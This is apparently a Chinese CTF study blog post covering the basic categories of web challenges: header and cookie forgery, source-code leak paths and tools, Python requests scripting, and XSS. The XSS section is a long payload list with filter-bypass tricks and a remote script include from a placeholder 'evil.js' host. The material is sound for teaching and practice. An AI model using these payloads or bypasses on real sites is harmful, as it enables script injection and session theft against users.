Web基础总结


CTF-Web基本题型及其解题方法

第1大类-基础知识类题目

  1. 查看网页源码

火狐可以通过ctrl+u查看源代码,或者直接F12,通常做题时都会先查看源代码,寻找里面是否有隐藏的信息。

  1. 发送HTTP请求

    对于get请求,直接在url中输入即可 例:xxx.xxx.xx.xxx?a=1

    对于post请求,可以使用 hackba r(maxhackbar) ,load入url后,勾选post data,然后传入你想传的值。


第2大类-HTTP头相关的题目

  1. 查看响应头

    Allow 服务器支持哪些请求方法(如GET、POST等)。
    Set-Cookie 设置和页面关联的Cookie。Servlet不应使用response.setHeader(“Set-Cookie”, …),而是应使用HttpServletResponse提供的专用方法addCookie。参见下文有关Cookie设置的讨论。
    Content-Length 表示内容长度。只有当浏览器使用持久HTTP连接时才需要这个数据。如果你想要利用持久连接的优势,可以把输出文档写入 ByteArrayOutputStream,完成后查看其大小,然后把该值放入Content-Length头,最后通过byteArrayStream.writeTo(response.getOutputStream()发送内容。
    Content-Type 表示后面的文档属于什么MIME类型。Servlet默认为text/plain,但通常需要显式地指定为text/html。由于经常要设置Content-Type,因此HttpServletResponse提供了一个专用的方法setContentType。
    Date 当前的GMT时间。你可以用setDateHeader来设置这个头以避免转换时间格式的麻烦。
    Server 服务器名字。Servlet一般不设置这个值,而是由Web服务器自己设置。
    Last-Modified 文档的最后改动时间。客户可以通过If-Modified-Since请求头提供一个日期,该请求将被视为一个条件GET,只有改动时间迟于指定时间的文档才会返回,否则返回一个304(Not Modified)状态。Last-Modified也可用setDateHeader方法来设置。
    Location 表示客户应当到哪里去提取文档。Location通常不是直接设置的,而是通过HttpServletResponse的sendRedirect方法,该方法同时设置状态代码为302。

    有时候响应头里会有hint(提示)或者题目的关键信息,也有的时候会直接把flag放在响应头里给你.

  2. 修改请求头、伪造Cookie

    常见的有set-cookie、XFF和Referer,总之考法很灵活,做法比较固定,知道一些常见的请求头再根据题目随机应变就没问题了。

    基本就是使用bp抓包,然后进行修改。

    XFF:当出现localhost,本地字样的时候,一般都需要抓包修改X-Forwarded-For为127.0.0.1

    Referer:当出现需从哪一个网址访问时,一般需要抓包修改referer为该网址

    User-agent:需要修改访问该网站的浏览器时更改

    accept language:当要求以特定语言访问时修改

    cookie:根据题目提示伪造cookie,稍微简单点的题目的话就是cookie:login=0改为login=1


第3大类-源码泄露

flag一般在源码的某个文件里,但也有和其他知识结合、需要进一步利用的情况.

  1. SVN源码泄露

    SVN(subversion)是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范。“在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的‘entries’文件,逐步摸清站点结构。”(可以利用.svn/entries文件,获取到服务器源码、svn服务器账号密码等信息)

    更严重的问题在于,SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),如果服务器没有对此类后缀做解析,黑客则可以直接获得文件源代码。

    工具:SvnHackdvcs-ripper

    github项目地址:https://github.com/callmefeifei/SvnHack

    github项目地址:https://github.com/kost/dvcs-ripper.git

  2. git源码泄露

    Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码。

    工具:githack,dvcs-ripper

    github项目地址:https://github.com/lijiejie/GitHack

  3. hg源码泄露

    Mercurial 是一种轻量级分布式版本控制系统,使用 hg init的时候会生成.hg文件

    工具:dvcs-ripper

    github项目地址:https://github.com/kost/dvcs-ripper

  4. cvs漏洞泄露

    CVS是一个C/S系统,是一个常用的代码版本控制软件。主要在开源软件管理中使用。与它相类似的代码版本控制软件有subversion。多个开发人员通过一个中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。CVS版本控制系统是一种GNU软件包,主要用于在多人开发环境下的源码的维护。但是由于之前CVS编码的问题,大多数软件开发公司都使用SVN替代了CVS。主要是针对 CVS/Root以及CVS/Entries目录,直接就可以看到泄露的信息。
    http://url/CVS/Root 返回根信息
    http://url/CVS/Entries 返回所有文件的结构

    工具:dvcs-ripper

    github项目地址:https://github.com/kost/dvcs-ripper.git

  5. .DS_Store泄露

    .DS_Store 文件利用 .DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

    工具:ds_store_exp

    github项目地址:https://github.com/lijiejie/ds_store_exp

    相关例题:buu 假猪套天下第一

  6. Bazaar/bzr泄露

    Bazaar(bzr)是另一个开源的 DVCS(Distributed Version Control System,即分布式版本控制系统),它试图给 SCM(Source Code Management,即源码管理) 的世界里带来一些新的东西。
    bzr 是 Canonical 公司支持的一个项目,也就是 Ubuntu Linux 的发行公司。简单来说,bzr 是用 python 编写的,用于版本控制。

  7. 网站备份压缩文件

    管理员将网站源代码备份在Web目录下,攻击者通过猜解文件路径,下载备份文件,导致源代码泄露。

    .index.php.swp
    index.php.swp
    index.php.bak
    .index.php~
    index.php.bak_Edietplus
    index.php.~
    index.php.~1~
    index.php
    index.php~
    index.php.rar
    index.php.zip
    index.php.7z
    index.php.tar.gz
    www.zip
    www.rar
    www.zip
    www.7z
    www.tar.gz
    www.tar
    web.zip
    web.rar
    web.zip
    web.7z
    web.tar.gz
    web.tar
    wwwroot.rar
    web.rar

    通常可以通过后台扫描器扫描出

    工具:dirsearch-master,御剑

  8. WEB-INF/web.xml 泄露

    WEB-INF是Java的WEB应用的安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

    WEB-INF 主要包含一下文件或目录:

    WEB-INF/web.xml : Web应用程序配置文件, 描述了servlet和其他的应用组件配置及命名规则.
    WEB-INF/database.properties : 数据库配置文件
    WEB-INF/classes/ : 一般用来存放Java类文件(.class)
    WEB-INF/lib/ : 用来存放打包好的库(.jar)
    WEB-INF/src/ : 用来放源代码(.asp和.php等)

    通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,再通过反编译 class 文件,得到网站源码。

    例题:buu上有一道easy java需要利用

  9. SWP 文件泄露

    swp即swap文件,在编辑文件时产生的临时文件,它是隐藏文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,文件名为 .filename.swp。

    漏洞利用:直接访问.swp文件,下载回来后删掉末尾的.swp,获得源码文件。

    第一次临时退出的时候产生的时swp,第二次为swo,第三次为swm,以此类推

  10. GitHub源码泄露

    GitHub是一个面向开源及私有软件项目的托管平台,很多人喜欢把自己的代码上传到平台托管。攻击者通过关键词进行搜索,可以找到关于目标站点的敏感信息,甚至可以下载网站源码。

    github常见搜索语法:

    in:name test               #仓库标题搜索含有关键字 SpringCloud
    in:descripton test         #仓库描述搜索含有关键字
    in:readme test             #Readme文件搜素含有关键字
    stars:>3000 test           #stars数量大于3000的搜索关键字
    stars:1000..3000 test      #stars数量大于1000小于3000的搜索关键字
    forks:>1000 test           #forks数量大于1000的搜索关键字
    forks:1000..3000 test      #forks数量大于1000小于3000的搜索关键字
    size:>=5000 test           #指定仓库大于5000k(5M)的搜索关键字
    pushed:>2019-02-12 test    #发布时间大于2019-02-12的搜索关键字
    created:>2019-02-12 test   #创建时间大于2019-02-12的搜索关键字
    user:test                  #用户名搜素
    license:apache-2.0 test    #明确仓库的 LICENSE 搜索关键字
    language:java test         #在java语言的代码中搜索关键字
    user:test in:name test     #组合搜索,用户名test的标题含有test的

第4大类-Python爬虫信息处理

这类题目一般都是给一个页面,页面中有算式或者是一些数字,要求在很短的时间内求出结果并提交,如果结果正确就可以返回flag

因为所给时间一般都很短而且计算比较复杂,所以只能写脚本。这种题目的脚本一般都需要用到requests库

  • 发送 GET 请求与 POST 请求

以 Github 官网为例,对其发起 GET 请求;

>>> r = requests.get('https://github.com/')

对其发起 POST 请求:

>>> r = requests.post('https://github.com/')
  • 查看请求头

对 Github 官网发起请求,以查看 GET 请求的请求头为例,POST 请求同理:

>>> r = requests.get('https://github.com/')
>>> r.request.headers

{'Connection': 'keep-alive', 'Accept-Encoding': 'gzip, deflate',...

查看请求头的某一属性:

>>> r.request.headers['Accept-Encoding']

'gzip, deflate
  • 查看响应头

对 Github 官网发起请求,以查看 GET 请求的响应头为例,POST 请求同理:

>>> r = requests.get('https://github.com/')
>>> r.headers

{'Status': '200 OK', 'Expect-CT': 'max-age=2592000, report-uri=...

查看响应头的某一属性:

>>> r.headers['Status']

'200 OK'
  • 查看响应内容

对 Github 官网发起请求,查看服务器返回页面的内容,以查看 GET 请求的响应内容为例,POST 请求同理:

>>> r = requests.get('https://github.com/')
>>> r.text

u'\n\n\n\n\n\n<!DOCTYPE html>\n<html lang="en">\n  <head>\n    <meta charset="utf-8">\n...
  • 传递 GET 请求参数

GET 请求参数作为查询字符串附加在 URL 末尾,可以通过 requests.get() 方法中的 params 参数完成。例如,我要构建的 URL 为 https://github.com/?username=ciphersaw&id=1,则可以通过以下代码传递 GET 请求参数:

>>> args = {'username': 'ciphersaw', 'id': 1}
>>> r = requests.get('https://github.com/', params = args)
>>> print(r.url)

https://github.com/?username=ciphersaw&id=1

其中 params 参数是 dict 类型变量。可以看到,带有请求参数的 URL 确实构造好了,不过注意,这里的 usernameid 是为了说明问题任意构造的,传入 Github 官网后不起作用,下同。

  • 传递 POST 请求参数

POST 请求参数以表单数据的形式传递,可以通过 requests.post() 方法中的 data 参数完成,具体代码如下:

>>> args = {'username': 'ciphersaw', 'id': 1}

>>> r = requests.post('https://github.com/', data = args)

其中 data 参数也是 dict 类型变量。由于 POST 请求参数不以明文展现,在此省略验证步骤。

如果想传递自定义 Cookie 到服务器,可以使用 cookies 参数。以 POST 请求为例向 Github 官网提交自定义 Cookie(cookies 参数同样适用于 GET 请求):

>>> mycookie = {'userid': '123456'}
>>> r = requests.post('https://github.com/', cookies = mycookie)
>>> r.request.headers

...'Cookie': 'userid=123456',...

其中 cookies 参数也是 dict 类型变量。可以看到,POST 请求的请求头中确实包含了自定义 Cookie。

  • 会话对象 Session()

Session 是存储在服务器上的相关用户信息,用于在有效期内保持客户端与服务器之间的状态。Session 与 Cookie 配合使用,当 Session 或 Cookie 失效时,客户端与服务器之间的状态也随之失效。

Session 的大致原理:

Session 的中文翻译为:「会话」,只属于某一个客户端和某一个服务器端沟通的工具。鉴于 HTTP 是无状态协议,之前已认证成功的用户状态是无法通过协议层面保存下来的,既,无法实现状态管理,因此即使当该用户下一次继续访问,也无法区分他和其他的用户。于是我们会使用 Cookie 来管理 Session,以弥补 HTTP 协议中不存在的状态管理功能。

  • 客户端把用户 ID 和密码等登录信息放入报文的实体部分,通常是以 POST 方法把请求发送给服务器。
  • 服务器会发放用以识别用户的 Session ID。通过验证从客户端发送过来的登录信息进行身份验证,然后把用户的认证状态与 Session ID 绑定后记录在服务器端。向客户端返回响应时,会在首部字段 Set-Cookie 内写入 Session ID。
  • 客户端接收到从服务器端发来的 Session ID 后,会将其作为 Cookie 保存在本地。下次向服务器发送请求时,浏览器会自动发送 Cookie,所以 Session ID 也随之发送到服务器。服务器端可通过验证接收到的 Session ID 识别用户和其认证状态。

有关 Session 的原理可参见以下文章:

session的根本原理及安全性
Session原理

requests 模块中的 会话对象 Session() 能够在多次请求中保持某些参数,使得底层的 TCP 连接将被重用,提高了 HTTP 连接的性能。

Session() 的创建过程如下:

s = requests.Session()

在有效期内,同一个会话对象发出的所有请求都保持着相同的 Cookie,可以看出,会话对象也可以通过 getpost 方法发送请求,以发送 GET 请求为例:

>>> r = s.get('https://github.com/')

参考例题:

速度要快

秋名山车神

第5大类-XSS

XSS简介

XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据攻击代码的工作方式,XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。

  • 反射型

反射型的XSS是非持久化的,攻击者事先制作好攻击链接,需要欺骗用户自己去点击链接才能触发XSS代码,但是服务器中没有这样的页面和内容,一般容易出现在搜索页面。

  • 存储型

存储型的XSS是持久化的,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行。这种XSS非常危险,容易造成蠕虫,大量盗窃cookie。

  • DOM型

DOM型的XSS是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

一些常用的标签与属性

  • scirpt 标签

    <script> 标签用于定义客户端脚本,比如 JavaScript。

    <script>alert(1);</script>
    <script>alert("xss");</script>
  • img 标签

    <img> 标签定义 HTML 页面中的图像

    <img src=1 onerror=alert(1);>
    <img src=1 onerror=alert("xss");>
  • input 标签

    <input> 标签规定了用户可以在其中输入数据的输入字段。

    onfocus 事件在对象获得焦点时发生:

    <input onfocus=alert(1);>

    竞争焦点,从而触发onblur事件:

    <input onblur=alert(1) autofocus><input autofocus> 

    input 标签的 autofocus 属性规定当页面加载时 <input> 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

    <input onfocus="alert(1);" autofocus>
  • details 标签

    <details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:

    <details ontoggle=alert(1);>

    使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:

    <details open ontoggle=alert(1);>
  • svg 标签

    <svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。

    <svg onload=alert(1);>
  • select 标签

    <select> 标签用来创建下拉列表。

    <select onfocus=alert(1)></select>

    通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

    <select onfocus=alert(1) autofocus>
  • iframe 标签

    <iframe> 标签会创建包含另外一个文档的内联框架。

    <iframe onload=alert(1);></iframe>
  • video 标签

    <video> 标签定义视频,比如电影片段或其他视频流。

    <video><source onerror=alert(1)>
  • audio 标签

    <audio> 标签定义声音,比如音乐或其他音频流。

    <audio src=x  onerror=alert(1);>
  • body 标签

    <body> 标签定义文档的主体。

    <body onload=alert(1);>

    onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:

    <body
    onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
  • textarea 标签

    <textarea> 标签定义一个多行的文本输入控件。

    <textarea onfocus=alert(1); autofocus>
  • keygen 标签

    <keygen autofocus onfocus=alert(1)> //仅限火狐
  • marquee 标签

    <marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以
  • isindex 标签

    <isindex type=image src=1 onerror=alert(1)>//仅限于IE
  • 利用 link 远程包含 JavaScript 文件

    <link rel=import href="http://47.xxx.xxx.72/evil.js">
  • 利用 JavaScript 伪协议

    javascript: 这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。

    a 标签

    <a href="javascript:alert(1);">xss</a>

    iframe 标签

    <iframe src=javascript:alert(1);></iframe>

    img 标签

    <img src=x onerror=alert(1)>
    <img src=javascript:alert(1)>    //IE7以下

    form 标签

    <form action="Javascript:alert(1)"><input type=submit>

XSS 常见绕过姿势

  1. 绕过空格过滤

    当空格被过滤了时,我们可以用 / 来代替空格:

    <img src=x onerror=alert(xss);>

    也可以:

    <img/src="x"onerror=alert(1);>
  2. 绕过引号过滤

    如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:

    <img src=x onerror=alert(`xss`);>
  3. 绕过括号过滤

    当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。

    <img src=x onerror="javascript:window.onerror=alert;throw 1">
    <a onmouseover="javascript:window.onerror=alert;throw 1>
  4. 大小写绕过

    <sCRiPt>alert(1);</sCrIpT>
    <ImG sRc=x onerRor=alert(1);>
  5. 双写绕过

    有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

    <scrscriptipt>alert(1);</scrscriptipt>
    <imimgg srsrcc=x onerror=alert(1);>
  6. 利用eval()函数字符串拼接绕过

    与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。

    <img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
    <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
    // 在js中,我们可以用反引号代替单双引号
  7. 利用top

    <script>top["al"+"ert"](`xss`);</script>
    <script>top["al"+"ert"]("xss");</script>

XSS 输出点总结

WAF最大的问题,在于不知道输出的位置,导致攻击者根据具体环境以及具体输出的标签类型便可以绕过。

  • 输出在属性里

    例如输出的位置位于value属性中:

    <input value="[输出]" type=text>

    我们可以选择直接闭合标签:

    "><img src=x onerror=alert(1);>
    
    // 输出后如下:
    // <input value=""><img src=x onerror=alert(1);>" type=text>

    如果 < > 被过滤的话可以换成选择使用事件来闭合属性,并将后面的引号注释掉或闭合:

    " autofocus onfocus=alert(1)//
    " autofocus onfocus=alert(1) "
    
    // 输出后如下:
    // <input value="" autofocus onfocus=alert(1)//" type=text>

    同样还有很多其他的payload:

    " onmouseover=prompt(0) x="
    " onfocusin=alert(1) autofocus x="
    " onfocusout=alert(1) autofocus x="
    " onblur=alert(1) autofocus a="

    还有一些特殊的场景,如:

    <input type="hidden" value="[输出]" />
    <input value="[输出点]" type="hidden"/>

    这里只能把input标签闭合,然后直接执行脚本,否则会因为type为hidden导致无法执行脚本。

  • 输出在HTML标签之间

    例如输出的位置如下:

    [输出]

    直接提交 <script>alert(1)</script> 即可触发XSS,但是当标签是不能执行脚本的标签时,如下面这几个:

    • <title></title>
    • <textarea></textarea>
    • <xmp></xmp>
    • <iframe></iframe>

    那么就得先把那个标签闭合(后文会讲到原理),然后在注入XSS语句,例如:

    </textarea><script>alert(1)</script>
  • 输出在script标签之间

    例如:

    <script>
    	var x = "input";
    </script>

    可控位置在input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了:

    ";alert(1)//
    
    // 输出后如下:
    // <script>var x = "";alert(1)//";</script>
  • XSS 字符编码绕过

    在XSS中,还有一个绕过关键字过滤的方法,那就是字符编码绕过。这里给出一个编码网站:https://bianma.bmcx.com/

    编码属于计算机系统的基础知识,其内容写起来估计也可以出本书了,不过或多或少我们都有所了解,总的来说,编码就是将字符变为二进制数,而解码就是将二进制数还原为字符。从浏览器请求url到在页面上显示出来也经历了一些编码和解码过程,下面大概介绍一下流程。

    请求网页解码流程


文章作者: Cu3tuv0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Cu3tuv0 !
评论
  目录